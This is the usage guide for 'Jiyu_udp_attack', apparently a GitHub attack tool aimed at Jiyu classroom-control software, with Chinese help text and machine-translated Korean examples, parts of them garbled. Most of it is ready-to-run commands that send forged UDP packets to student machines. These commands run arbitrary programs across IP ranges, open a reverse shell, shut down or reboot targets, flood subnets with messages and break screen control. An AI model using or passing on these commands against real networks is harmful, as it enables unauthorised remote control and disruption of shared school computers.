Jiyu_udp_attack
Jiyu_udp_attack_release
v1.5
v1.4
v1.3
v1.2
v1.1
v1.0
usage:
------------------- Github Repositories -------------------
https://github.com/ht0Ruial/Jiyu_udp_attack
[-h] -ip IP [-p P] [-msg MSG] [-c C] [-l L] [-t T]
[-e {r,s,g,nc,break,continue}]
{r,s,g,nc,break,continue} ...
positional arguments:
{r,s,g,nc,break,continue}
-e 参数的详细说明
r reboot 重启
s shutdown 关机
g 独立选项,获取当前的ip地址以及学生端监听的端口
nc 独立选项,反弹shell的机器需出网,退出可使用命令exit
break 独立选项,脱离屏幕控制,需要管理员权限
continue 独立选项,恢复屏幕控制
optional arguments:
-h, --help show this help message and exit
-ip IP ip 指定目标IP地址
-p P port 指定监听端口,默认端口为4705
-msg MSG send_message发送消息 eg: -msg "HelloWord!"
-c C command命令 eg: -c "cmd.exe /c ipconfig"
-l L 循环次数,默认为1
-t T 循环时间间隔,默认是22秒
-e {r,s,g,nc,break,continue}
Extra Options加载额外的选项 eg:-e r
-ip 매개변수를 사용하여 대상 IP를 지정하는 경우 다음 방법으로 지정할 수 있습니다.
학생측 수신 대기 포트가 기본 4705 가 아닌 경우 -p 매개변수를 사용하여 후속 작업 중에 포트를 지정해야 합니다.
python Jiyu_udp_attack.py -e g
현재 실행 중인 권한은 주로 MpsSvc 서비스를 시작하는 데 사용되는 관리자 권한이어야 합니다.
python Jiyu_udp_attack.py -e break
python Jiyu_udp_attack.py -e continue
학생 측 수신 포트가 4705 인 경우 "hello, baby!"라는 내용의 메시지를 IP 주소 192.168.80.12를 가진 컴퓨터로 보냅니다.
python Jiyu_udp_attack.py -ip 192.168.80.12 -msg "hello,baby!"
학생측 수신 포트가 4605 인 경우 -p 매개변수를 사용하여 포트를 지정하고 "hello, baby!"라는 내용의 메시지를 IP 주소 192.168.80.12를 사용하는 시스템으로 보내야 합니다.
python Jiyu_udp_attack.py -ip 192.168.80.12 -p 4605 -msg "hello,baby!"
192.168.80.12부터 192.168.80.137까지 계산기를 사용해보세요
python Jiyu_udp_attack.py -ip 192.168.80.12-137 -c calc.exe
쉘을 리바운드할 때 IP는 특정 머신의 IP만 가능하며 일괄적으로 리바운드할 수 없습니다. 또한 일괄 리바운드가 의미가 없다는 점을 고려하여 임의 명령의 일괄 실행이 구현되었으므로 해당 머신은 네트워크 밖으로 나가야 합니다. , 추가되지 않습니다.
python Jiyu_udp_attack.py -ip 192.168.80.12 -e nc
종료
python Jiyu_udp_attack.py -ip 192.168.80.12 -e s
다시 시작
python Jiyu_udp_attack.py -ip 192.168.80.12 -e r
루프를 사용하여 지속적으로 메시지 보내기
머신 1-254는 "hello, baby!" 메시지를 수신하고 50초 후에 총 3번 실행됩니다.
python Jiyu_udp_attack.py -ip 192.168.80.23/24 -msg "hello,baby!" -l 3 -t 50